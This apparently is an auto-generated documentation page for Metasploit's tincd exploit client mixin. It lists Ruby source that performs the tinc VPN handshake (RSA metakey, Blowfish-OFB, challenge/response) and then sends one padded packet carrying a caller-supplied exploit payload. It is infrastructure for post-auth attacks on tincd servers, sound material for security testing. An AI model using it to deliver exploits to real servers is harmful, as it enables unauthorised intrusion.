Module: Msf::Exploit::Remote::TincdExploitClient

Includes:
Tcp
Defined in:
lib/msf/core/exploit/remote/tincd_exploit_client.rb

Overview

This module does a handshake with a tincd server and sends one padded packet Author: Tobias Ospelt @floyd_ch

Constant Summary collapse

BF_BLOCKSIZE =
64 / 8
BF_KEY_LEN =
16
BF_IV_LEN =
8

Instance Attribute Summary

Attributes included from Tcp

#sock

Instance Method Summary collapse

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #deregister_tcp_options, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version

Instance Method Details

#ackObject

Ack state to signalize challenge/response was successful


317
318
319
320
321
322
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 317

def ack
  vprint_status('Sending ack (signalise server that we accept challenge' +
   'reply, ciphertext)')
  @encryption_queue.push("4 #{datastore['RPORT']} 123 0    \n")
  handle_write
end

#challengeObject

Send challenge random bytes


295
296
297
298
299
300
301
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 295

def challenge
  vprint_status('Sending challenge (ciphertext)')
  challenge = SecureRandom.random_bytes(@server_key_len)
  msg = "2      #{challenge.unpack('H*')[0]}\n"
  @encryption_queue.push(msg)
  handle_write
end

#challenge_reply(challenge2) ⇒ Object

Reply to challenge that was sent by server


306
307
308
309
310
311
312
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 306

def challenge_reply(challenge2)
  vprint_status('Sending challenge reply (ciphertext)')
  h = Digest::SHA1.hexdigest(challenge2)
  msg = "3      #{h.upcase}\n"
  @encryption_queue.push(msg)
  handle_write
end

#handle_writeObject

Encryption queue where waiting data gets encrypted and afterwards the remaining messages get sent


214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 214

def handle_write
  # handle encryption queue first
  unless @encryption_queue.empty?
    msg = @encryption_queue[0]
    @encryption_queue.delete_at(0)
    @buffer = @bf_enc_cipher.update(msg)
    @buffer << @bf_enc_cipher.final
    # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
    # the resulting block is used to encrypt the next block.
  end

  unless @buffer.empty?
    sent = send_data(@buffer)
    vprint_status("Sent #{sent} bytes: " +
     "[#{@buffer.unpack('H*')[0][0..30]}...]")
    @buffer = @buffer[sent..@buffer.length]
  end
end

#idObject

Start message method after TCP handshake


274
275
276
277
278
279
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 274

def id
  msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
  vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
  @buffer += msg
  handle_write
end

#init_ciphers(server_file, client_file) ⇒ Object

Reading of certificate files and parsing them, generation of random keys and initialization of OFB mode blowfish cipher


97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 97

def init_ciphers(server_file, client_file)
  server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
  @server_key_len = server_public_key_cipher.n.num_bytes
  @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
  @client_key_len = @client_private_key_cipher.n.num_bytes
  vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
  vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")

  # we don't want this to happen here:
  # `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
  # simple solution: choose the key_s1 with a leading zero byte
  key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
  enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)

  @hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]

  offset_key = @server_key_len - BF_KEY_LEN
  offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
  bf_enc_key = key_s1[offset_key...@server_key_len]
  bf_enc_iv = key_s1[offset_iv...offset_key]

  @bf_enc_cipher = OpenSSL::Cipher.new('BF-OFB')
  @bf_enc_cipher.encrypt
  @bf_enc_cipher.key = bf_enc_key
  @bf_enc_cipher.iv = bf_enc_iv

  # #Looks like ruby openssl supports other lengths than multiple of 8!
  # test = @bf_enc_cipher.update('A'*10)
  # test << @bf_enc_cipher.final
  # puts "Testing cipher: "+test.unpack('H*')[0]
end

#initialize(info = {}) ⇒ Object

Module options


18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 18

def initialize(info = {})
  super
  register_options(
    [Opt::RPORT(655),
      # As this is only for post-auth exploits, you should know the value of the
      # following variables by simply checking
      # your configuration.
      OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
      OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
      # You should see CLIENT_NAME in cleartext in the first message to the
      # server by your usual tinc client (tcpdump or
      # wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
      # this is located in the config folder, e.g. in FreeBSD
      # there is the client public key file /usr/local/etc/tinc/hosts/home
      # for the client "home"
      # If you don't have a clue, maybe just try the filename of your private
      # key without file extension
      OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
    ], self
  )
end

#line?Boolean

Check if we already received a newline, meaning we got an entire message for the next protocol step

Returns:

  • (Boolean)

267
268
269
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 267

def line?
  !!(@inbuffer.match("\n"))
end

#metakeyObject

Sending metakey (transferring a symmetric key that will get encrypted with public key before beeing sent to the server)


285
286
287
288
289
290
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 285

def metakey
  msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
  vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
  @buffer += msg
  handle_write
end

#pop_inbuffer_and_decrypt(size) ⇒ Object

Decryption method to process data sent by server


243
244
245
246
247
248
249
250
251
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 243

def pop_inbuffer_and_decrypt(size)
  # In ruby openssl OFM works not only on full blocks, but also on
  # parts. Therefore no worries like in pycrypto and no
  # modified decrypt routine, simply use the cipher as is.
  data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
  data << @bf_dec_cipher.final
  # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
  # the resulting block is used to decrypt the next block.
end

#process_data(data) ⇒ Object

Depending on the state of the protocol handshake and the data we get back from the server, this method will decide which message has to be sent next


133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 133

def process_data(data)
  @inbuffer += data if data
  case @state
  when :id_state
    if line?
      data = read_line
      vprint_status("Received ID from server: [#{data[0..30]}]")
      @state = :metakey_state
      # next expected state
      metakey
    end
  when :metakey_state
    if line?
      data = read_line
      vprint_status("Received Metakey from server: [#{data[0..30]}...]")
      data = data.split(' ')
      fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
      hexkey_s2 = data[5].rstrip # ("\n")
      fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
      @enckey_s2 = [hexkey_s2].pack('H*')
      key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)

      # metakey setup according to protocol_auth.c
      # if(!EVP_DecryptInit(c->inctx, c->incipher,
      #    (unsigned char *)c->inkey + len - c->incipher->key_len,    # <--- KEY pointer
      #    (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
      # ))
      offset_key = @client_key_len - BF_KEY_LEN
      offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
      bf_dec_key = key_s2[offset_key...@client_key_len]
      bf_dec_iv = key_s2[offset_iv...offset_key]

      @bf_dec_cipher = OpenSSL::Cipher.new 'BF-OFB'
      @bf_dec_cipher.encrypt
      @bf_dec_cipher.key = bf_dec_key
      @bf_dec_cipher.iv = bf_dec_iv
      # don't forget, it *does* matter if you do a
      # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
      vprint_status('Metakey handshake/exchange completed')
      @state = :challenge_state
      challenge
    end
  when :challenge_state
    need_len = 2 * @client_key_len + 3
    if @inbuffer.length >= need_len
      data = pop_inbuffer_and_decrypt(need_len)
      vprint_status("Received challenge from server: " +
       "[#{data.unpack('H*')[0][0..30]}...]")
      data = data.split(' ', 2)
      fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
      challenge2 = data[1][0...2 * @client_key_len]
      challenge2 = [challenge2].pack('H*')
      fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
      @state = :challenge_reply_state
      challenge_reply(challenge2)
    end
  when :challenge_reply_state
    need_len = 43
    if @inbuffer.length >= need_len
      data = pop_inbuffer_and_decrypt(need_len)
      vprint_status("Received challenge reply from server:" +
       " [#{data.unpack('H*')[0][0..30]}...]")
      @state = :ack_state
      ack
    end
  when :ack_state
    need_len = 12
    if @inbuffer.length >= need_len
      data = pop_inbuffer_and_decrypt(need_len)
      vprint_status("Received ack (server accepted challenge response):" +
       "[#{data.unpack('H*')[0][0..30]}...]")
      @state = :done_state
      send_packet
    end
  end
end

#read_lineObject

Read up to the next newline from the data the server sent


256
257
258
259
260
261
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 256

def read_line
  idx = @inbuffer.index("\n")
  data = @inbuffer.slice!(0, idx)
  @inbuffer.lstrip!
  data
end

#send_data(buf) ⇒ Object

Simple socket put/write


236
237
238
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 236

def send_data(buf)
  sock.put(buf)
end

#send_packetObject

Sending a packet inside the VPN connection after successful protocol setup


327
328
329
330
331
332
333
334
335
336
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 327

def send_packet
  vprint_status('Protocol finished setup. Going to send packet.')
  msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
  plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
  # padding
  msg += 'B' * plen
  @encryption_queue.push(msg)
  @keep_reading_socket = false
  handle_write
end

#send_recv(packet_payload) ⇒ Object

The main method that will be called that will call other methods to send first message and continuously read from socket and ensures TCP disconnect at the end


66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 66

def send_recv(packet_payload)
  @packet_payload = packet_payload
  @keep_reading_socket = true
  connect
  begin
    # send the first message
    id
    # Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
    while @keep_reading_socket
      process_data(sock.get_once)
    end
  rescue Errno::ECONNRESET
    if @state == :metakey_state
      fail 'Server reset the connection. Probably rejecting ' +
       'the private key and/or client name (e.g. client name not associated ' +
       'with client public key on server side). ' +
       'Wrong server public key possible too. ' +
       'Please recheck client name, client private key and ' +
       'server public key.'
    else
      fail 'Server reset the connection, reason unknown.'
    end
  ensure
    disconnect
  end
end

#setup_ciphersObject

Setting up variables and calling cipher inits with file paths from configuration


43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# File 'lib/msf/core/exploit/remote/tincd_exploit_client.rb', line 43

def setup_ciphers
  @state = :id_state
  @buffer = ''
  @inbuffer = ''
  @encryption_queue = []

  @packet_payload = nil
  @keep_reading_socket = false

  @server_key_len = nil
  @client_key_len =  nil
  @client_private_key_cipher = nil
  @hex_enc_key_s1 = nil
  @bf_enc_cipher = nil
  init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
  vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
  @bf_dec_cipher = nil
end